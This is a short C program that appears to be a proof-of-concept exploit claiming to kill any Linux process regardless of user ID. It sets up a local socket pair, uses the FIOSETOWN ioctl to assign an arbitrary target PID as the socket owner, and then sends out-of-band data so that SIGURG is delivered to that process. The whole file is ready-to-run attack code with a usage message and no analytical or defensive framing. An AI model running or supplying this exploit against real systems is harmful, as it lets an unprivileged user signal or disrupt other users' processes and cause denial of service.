/* Kill any Linux process from any UID... Supposedly...*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8765  /* just a random hopefully unused TCP port */

#define ERROR_CHECK(x, msg) do { \
        if ((x) == -1) { \
                perror(msg); \
                exit(1); \
        } \
} while (0)

int main(int argc, char *argv[])
{
        int s, s1, child_pid;
        struct sockaddr_in addr;
        int one = 1;
        char c = 0;

        if (argc != 2) {
                fprintf(stderr, "usage: %s pid\n", argv[0]);
                exit(1);
        }
        ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" );
        ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one), "setsockopt" );
        memset(&addr, 0, sizeof addr);
        addr.sin_family = AF_INET;
        addr.sin_port = htons(PORT);
        addr.sin_addr.s_addr = INADDR_ANY;
        ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" );
        ERROR_CHECK( listen(s, 1), "listen" );
        ERROR_CHECK( child_pid = fork(), "fork" );
        if (child_pid == 0) {  /* child */
                int pid_to_kill = atoi(argv[1]);

                ERROR_CHECK( s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket" );
                ERROR_CHECK( connect(s1, (struct sockaddr *) &addr, sizeof addr), "child connect" );
                ERROR_CHECK( ioctl(s1, FIOSETOWN, &pid_to_kill), "child ioctl" );  /* !!! */
                ERROR_CHECK( write(s1, &c, 1), "child write" );  /* wake up blocked parent */
                ERROR_CHECK( read(s1, &c, 1), "child read" );
                _exit(0);
        }
        ERROR_CHECK( s1 = accept(s, NULL, NULL), "accept" );
        ERROR_CHECK( read(s1, &c, 1), "read" );  /* block until child is ready */
        ERROR_CHECK( send(s1, &c, 1, MSG_OOB), "send" );  /* this will send SIGURG */
        return 0;
}